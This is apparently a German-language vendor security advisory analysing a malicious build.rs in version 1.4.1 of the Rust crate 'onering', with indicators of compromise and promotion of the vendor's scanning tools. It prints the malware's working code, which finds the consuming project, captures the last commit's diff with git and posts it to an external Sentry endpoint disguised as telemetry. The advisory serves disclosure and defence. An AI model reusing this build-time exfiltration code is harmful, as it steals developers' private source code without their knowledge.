Am 10. Juni 2026 haben wir bösartiges Verhalten in der neuesten Version, 1.4.1, des Rust-Crates „onering“ festgestellt. Onering ist eine Bibliothek für hochdurchsatzfähige synchrone Queues und Channels für Rust, mit über 18.000 Downloads auf crates.io. In den letzten Wochen erhielten npm, PyPI und GitHub die meiste Aufmerksamkeit durch eine Welle von Lieferkettenkompromittierungen. Diese Woche ist Rust an der Reihe.
Die neueste Version fügte eine build.rs-Datei hinzu, die unbemerkt Git-Daten von jedem Projekt sammelt, das das Crate erstellt, und diese an einen Remote-Server sendet, einschließlich des tatsächlichen Quellcodes Ihres letzten Commits. Wir haben bereits gesehen, wie Angreifer bei npm und PyPI kreativ wurden, indem sie Payloads zur Build-Zeit ausführten, und jetzt experimentieren sie damit in Rust. Während sich die meisten jüngsten Lieferkettenangriffe auf den Diebstahl von Zugangsdaten konzentrierten, scheint dieser rein auf den Quellcode abzuzielen.
Das Problem ist nicht auf das auf crates.io veröffentlichte Paket beschränkt. Das GitHub-Repository des Maintainers scheint ebenfalls kompromittiert zu sein, sodass das Ziehen des Crates von Git statt aus dem Registry keine Sicherheit bietet. Wir haben den Maintainer sofort alarmiert: https://github.com/cenotelie/onering/issues/1
Was die bösartige build.rs tut
A build.rs ist ein Build-Skript. Cargo kompiliert und führt es auf der Maschine der Entwickelnden während des Builds aus. Das macht es zu einem wertvollen Ort, um eine Payload zu verstecken, da es ausreicht, einfach von dem Crate abzuhängen und es zu bauen, um es auszulösen. Sie müssen nie eine einzige Funktion aus der Bibliothek aufrufen.
Der injizierte build.rs tut drei Dinge.
Zuerst lokalisiert es das Root-Verzeichnis des Projekts, das das Crate verwendet, nicht sein eigenes Verzeichnis. Es geht von OUT_DIR bis es das target Verzeichnis, nimmt dann dessen übergeordnetes Verzeichnis. Das Ergebnis ist Ihr Repository.
fn get_project_path() -> Result<PathBuf, Box<dyn std::error::Error>> {
let dir = PathBuf::from(std::env::var("OUT_DIR")?);
let mut project_dir = &*dir;
while let Some(parent) = project_dir.parent() {
if let Some(last) = parent.iter().last()
&& last == "target"
&& let Some(parent) = parent.parent()
{
project_dir = parent;
break;
}
project_dir = parent;
}
Ok(project_dir.to_path_buf())
}Zweitens führt es zwei Git-Befehle auf Ihrem Repository aus. Einer sammelt Commit-Metadaten. Der andere erfasst den vollständigen textuellen Diff Ihres letzten Commits.
let Ok(commit) = git(
&project_path,
&[
"log",
"-n",
"1",
r#"--pretty=format:{"commit":"%H","author":"%an","email":"%ae","date":"%aI","subject":"%s"}"#,
],
) else {
return;
};
let Ok(patch) = git(&project_path, &["diff", "HEAD^", "HEAD"]) else {
return;
};Der git diff HEAD^ HEAD Aufruf erfasst den vollständigen Diff Ihres letzten Commits, der bei jedem Build exfiltriert wird, sodass über viele Commits hinweg ein fortlaufender Strom Ihrer tatsächlichen Quellcode-Änderungen anstelle eines einzelnen Snapshots preisgegeben wird.
Drittens tarnt es die gestohlenen Daten als Sentry-Telemetrie-Ereignis und sendet sie per POST mit curl an einen Sentry-Ingest-Endpunkt. Die Commit-Metadaten werden zu den Event-Tags, und Ihr Code-Diff wird in das extra.patch Feld.
let payload = format!(
r#"{{"event_id":"{}","dsn":"https://8197ee42c4f59c83f4cc6d48f5bae821@o4511539639222272.ingest.de.sentry.io/4511539669368912"}}
{{"type":"event"}}
{{"message":"on build","level":"info","platform":"rust","tags": {commit},"extra": {{"patch":"{}"}}}}"#,
Uuid::new_v4().as_simple(),
patch.replace('"', "\\\"").replace('\n', "\\n"),
);
let Ok(_output) = request(
"POST",
"https://o4511539639222272.ingest.de.sentry.io/api/4511539669368912/envelope/",
&["Accept: application/json", "Content-Type: application/x-sentry-envelope"],
&payload,
) else {
return;
};Die Tarnung ist beabsichtigt. Für jeden, der ausgehenden Traffic während eines Builds bemerkt, liest sich eine Anfrage an eine Sentry-Ingest-URL wie ein gewöhnliches Crash-Reporting. Es gibt auch eine übrig gebliebene auskommentierte Zeile, // std::fs::write("data.txt", payload), was stark darauf hindeutet, dass die Payload lokal getestet wurde, indem sie auf die Festplatte geschrieben wurde, bevor der Netzwerkaufruf eingerichtet wurde.
Wie Aikido dies erkennt
Wenn Sie ein Aikido-Benutzer sind, überprüfen Sie Ihren zentralen Feed und filtern Sie nach Malware-Problemen. Dies wird als kritisches Problem mit 100/100 angezeigt. Aikido führt nächtliche Rescans durch, aber wir empfehlen, jetzt einen manuellen Rescan auszulösen.
Wenn Sie noch kein Aikido-Benutzer sind, können Sie ein Konto erstellen und Ihre Repos verbinden. Unsere Malware-Abdeckung ist im kostenlosen Plan enthalten, keine Kreditkarte erforderlich.
Für eine umfassendere Abdeckung Ihres gesamten Teams bietet Aikido's Device Protection Ihnen Transparenz und Kontrolle über die Softwarepakete, die auf den Geräten Ihres Teams installiert sind. Es deckt Browser Extensions, Code Libraries, IDE Plugins und Build Dependencies ab, alles an einem Ort. Stoppen Sie Malware, bevor sie installiert wird.
Für zukünftigen Schutz sollten Sie Aikido Safe Chain (Open Source) in Betracht ziehen. Safe Chain integriert sich in Ihren bestehenden Workflow, indem es npm-, npx-, yarn-, pnpm- und pnpx-Befehle abfängt und Pakete vor der Installation gegen Aikido Intel prüft.
Indikatoren für Kompromittierung
- Abhängigkeit
oneringVersion 1.4.1 von crates.io. - Der Sentry-Ingest-Endpunkt
https://o4511539639222272.ingest.de.sentry.io/api/4511539669368912/envelope/. - Der öffentliche Sentry DSN-Schlüssel
8197ee42c4f59c83f4cc6d48f5bae821, Organisations-IDo4511539639222272, und Projekt-ID4511539669368912.

